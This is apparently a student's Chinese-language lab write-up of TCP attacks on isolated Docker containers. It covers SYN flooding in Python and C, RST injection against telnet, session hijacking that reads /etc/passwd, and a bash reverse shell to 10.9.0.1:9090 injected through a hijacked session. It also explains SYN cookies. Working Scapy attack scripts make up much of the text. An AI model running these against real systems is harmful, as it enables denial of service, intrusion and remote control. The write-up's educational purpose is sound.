Task 1: SYN Flooding Attack
首先通过命令sysctl net.ipv4.tcp_max_syn_backlog
查看系统中设定好的SYN队列的长度是128。(内核参数net.ipv4.tcp_max_syn_backlog
定义了处于SYN_RECV
的TCP最大连接数,当处于SYN_RECV
状态的TCP连接数超过tcp_max_syn_backlog
后,会丢弃后续的SYN报文。)
sysctl -a | grep syncookies
命令查看SYN Cookie
对策是否打开,显示net.ipv4.tcp_syncookies = 1
说明打开了SYN Cookie
:
通过命令sysctl -w net.ipv4.tcp_syncookies=0
关闭syn cookie:
Task 1.1: Launching the Attack Using Python
查看容器的IDdockps
,可以看到victim的容器ID是8b3cbd69654b:
通过docksh 8b
进入victim主机,在攻击前先通过netstat -nat
查看目前网络状态,可以看到只有两个端口处于LISTEN
状态:
在python代码中补全victim的ip地址和端口号:
#!/bin/env python3
from scapy.all import IP, TCP, send
from ipaddress import IPv4Address
from random import getrandbits
ip = IP(dst="10.9.0.5") # victim ip
tcp = TCP(dport=23, flags='S')
pkt = ip/tcp
while True:
pkt[IP].src = str(IPv4Address(getrandbits(32))) # source iP
pkt[TCP].sport = getrandbits(16) # source port
pkt[TCP].seq = getrandbits(32) # sequence number
send(pkt, verbose = 0)
运行代码,攻击至少持续1min:
再次通过netstat -nat
查看目前网络状态,可以看到产生了大量半连接,状态显示为SYN_RECV
:
通过命令netstat -tna | grep SYN_RECV | wc -l
可以看到共有97个半连接(因为队列中1/4的空间是为已验证的目的地保留的,所以现在97个半连接已经占满了剩余3/4的队列空间):
telnet采用的端口号是23,即攻击代码中的源端口号,尝试telnet 10.9.0.5
连接victim,发现仍然可以连接上:
这时再查看网络状态,可以发现一个已建立的连接:
这说明在攻击之前,机器10.9.0.1已经向victim机器建立了一个telnet或TCP连接,那么该机器就对SYN FLOOD攻击“免疫”,在攻击期间仍然能够成功地连接到受害者机器。因为SYNCookie被禁用后,victim机器会保留1/4的队列记住过去成功的连接,便于之后这些连接被再次建立。SYN FLOOD只能挤掉剩下的3/4的空间。
比如,当机器10.9.0.1和服务器10.9.0.5进行TCP连接后,服务器记住了IP地址10.9.0.1(缓存),因此再次遇到来自10.9.0.1的连接时,将使用保留的1/4 slot,因此不会受到SYN洪水攻击的影响。
可以通过指令ip tcp_metrics flush
刷掉已保留的连接。并且通过sysctl -w net.ipv4.tcp_max_syn_backlog=80
调小队列大小。
再次尝试telnet连接victim机器,这次没有办法连上,会显示Connection timed out
:
Task 1.2: Launch the Attack Using C
把队列大小恢复成128,并刷新保留连接:
sysctl -w net.ipv4.tcp_max_syn_backlog=128
ip tcp_metrics flush
编译提供的synflood.c
代码:
gcc -o synflood synflood.c
docksh 65
进入攻击容器中,进入共享文件夹volumes运行synflood,攻击目标机器10.9.0.5的23端口:
攻击成功:
Please compare the results with the one using the Python program, and explain the reason behind the difference.
与python程序的差别在于:C程序运行比较快,使得发送SYN包的速度足够快,快速占满了SYN队列。
Task 1.3: Enable the SYN Cookie Countermeasure
启用victim主机的SYN cookie机制:
通过task1.2的方法再次攻击:
这次telnet成功连接,说明攻击失败。
SYN cookie机制的作用:
- 接收到客户端的SYN包时,不会立刻为连接分配资源,而是根据SYN包计算一个cookie值作为SYN ACK包的初始序列号,并签名
- 若客户端正常返回ACK包,则验证签名,根据ACK包中的源/目的IP等信息生成签名,与其确认序列号对比,验证服务器是否签过名,若验证通过则分配资源并建立连接;若验证不通过或没有收到第三个ACK包,则不会为非正常的连接分配资源
这一机制保证了在遭受SYN洪泛攻击时,受害者主机的半开连接队列的资源不会被耗尽,从而能接受观察者主机的正常连接。
Task 2: TCP RST Attacks on telnet Connections
实现TCP RST攻击,终止两个victim之间已建立的TCP连接。
首先在10.9.0.6和10.9.0.7两台主机中建立telnet连接。
Launching the attack manually
使用wireshark进行抓包,选择网卡:
可以从包中看到源&目的IP,源&目的端口号和序列号:
补充py代码:
#!/usr/bin/env python3
from scapy.all import *
# 补充源&目的IP
ip = IP(src="10.9.0.6", dst="10.9.0.7")
# 补充源&目的端口号和序列号,可以从抓包的数据中看到Next sequence number: 3119783587
tcp = TCP(sport=45832, dport=23, flags="R", seq=3119783587)
pkt = ip/tcp
ls(pkt)
send(pkt, verbose=0)
进入攻击者主机,运行程序,可以看到程序把报文具体内容打印出来了,flag为4,说明RESET位置为1:
也可以在wireshark中抓到自己发的包:
再回到主机10.9.0.6,可以看到显示连接断开了:
Launching the attack automatically
scapy
中的sniff
函数可以抓包:
dpkt = sniff(iface = "br-fb6120b59b51", count = 150, filter="tcp",timeout=5)
sniff
有很多参数,这次用到了其中4个:
iface
:指定抓包的网卡count
:指定最多嗅探多少个符合要求的报文filter
:用来筛选抓取的信息,这里只抓TCP数据包timeout
:5m后自动停止嗅探
当停止嗅探后,dpkt
中的最后一项即最后一个10.9.0.6向10.9.0.7发送的数据包。通过dpkt[x][IP].src
这样的格式可以解析IP层和TCP层中所需要的各字段:
完整代码:
#!/usr/bin/env python3
from socket import timeout
from scapy.all import *
dpkt = sniff(iface = "br-fb6120b59b51", count = 150, filter="tcp",timeout=5)
# wrpcap("demo.pcap", dpkt)
n=len(dpkt)-1 # start from dpkt[0]
srcIP=dpkt[n][IP].src
dstIP=dpkt[n][IP].dst
ip = IP(src=srcIP, dst=dstIP)
sportTCP=dpkt[n][TCP].sport
dportTCP=dpkt[n][TCP].dport
seqTCP=dpkt[n][TCP].seq
tcp = TCP(sport=sportTCP, dport=dportTCP, flags="R", seq=seqTCP)
pkt = ip/tcp
ls(pkt)
send(pkt, verbose=0)
在attacker机器上运行代码,攻击成功:
Task 3: TCP Session Hijacking
通过向TCP会话中注入恶意内容来劫持两个受害者之间的现有TCP连接,实现TCP会话劫持攻击。
同样首先在10.9.0.6和10.9.0.7两台主机中建立telnet连接。同样通过抓包获得源&目的IP,源&目的端口号和序列号:
根据抓包中获得数据补充相应内容。
seq仍然是wireshark中会显示的next sequence number。
ack的推断如图:
先尝试发送字符串:
#!/usr/bin/env python3
from scapy.all import *
ip = IP(src="10.9.0.6", dst="10.9.0.7")
tcp = TCP(sport=46010, dport=23, flags="A", seq=3129060118, ack=2667700963)
data = "Task3 TCP Session Hijacking" # 构造data段
pkt = ip/tcp/data
ls(pkt)
send(pkt, verbose=0)
在attacker主机上运行程序,可以在load字段看到data payload:
同样可以在wireshark中抓到自己的包:
再尝试在data中构造命令cat /etc/password
:
#!/usr/bin/env python3
from scapy.all import *
ip = IP(src="10.9.0.6", dst="10.9.0.7")
tcp = TCP(sport=46044, dport=23, flags="A", seq=1898635557, ack=3050792738)
data = "cat /etc/passwd\r"
pkt = ip/tcp/data
ls(pkt)
send(pkt, verbose=0)
在wireshark中抓到自己的包,成功发送数据cat /etc/password
:
可以在之后10.9.0.7发回的包中找到返回的/etc/passwd
中的内容:
Launching the attack automatically
同理task2:
#!/usr/bin/env python3
from socket import timeout
from scapy.all import *
dpkt = sniff(iface="br-fb6120b59b51", count=150, filter="tcp", timeout=8)
# wrpcap("demo.pcap", dpkt)
n = len(dpkt)-1 # start from dpkt[0]
srcIP = dpkt[n][IP].src
dstIP = dpkt[n][IP].dst
ip = IP(src=srcIP, dst=dstIP)
sportTCP = dpkt[n][TCP].sport
dportTCP = dpkt[n][TCP].dport
seqTCP = dpkt[n][TCP].seq
ackTCP = dpkt[n][TCP].ack
tcp = TCP(sport=sportTCP, dport=dportTCP, flags="A", seq=seqTCP, ack=ackTCP)
data = "cat /etc/passwd\r"
pkt = ip/tcp/data
ls(pkt)
send(pkt, verbose=0)
同样可以在wireshark中看到回复的内容:
Task 4: Creating Reverse Shell using TCP Session Hijacking
攻击者利用TCP Session Hijacking来设置后门,这样他们就可以使用这个后门来方便地进行进一步的破坏。
attacker主机10.9.0.1运行netcat
监听端口9090:
nc -lv 9090
要使Reverse Shell运行在victim主机10.9.0.5上。可以利用task3中的hijacking方法,首先利用主机10.9.0.6 telnet 10.9.0.5,然后构造包使得victim运行Reverse Shell。
10.9.0.6 telnet 10.9.0.5:
wireshark抓包:
构造代码,data为reverse shell: /bin/bash -i > /dev/tcp/10.9.0.1/9090 0<&1 2>&1
。
#!/usr/bin/env python3
from scapy.all import *
ip = IP(src="10.9.0.6", dst="10.9.0.5")
tcp = TCP(sport=43006, dport=23, flags="A", seq=2591063038, ack=4106536643)
data = " /bin/bash -i > /dev/tcp/10.9.0.1/9090 0<&1 2>&1\r"
pkt = ip/tcp/data
ls(pkt)
send(pkt, verbose=0)
运行代码:
攻击成功,成功执行reverse shell,获得victim的权限: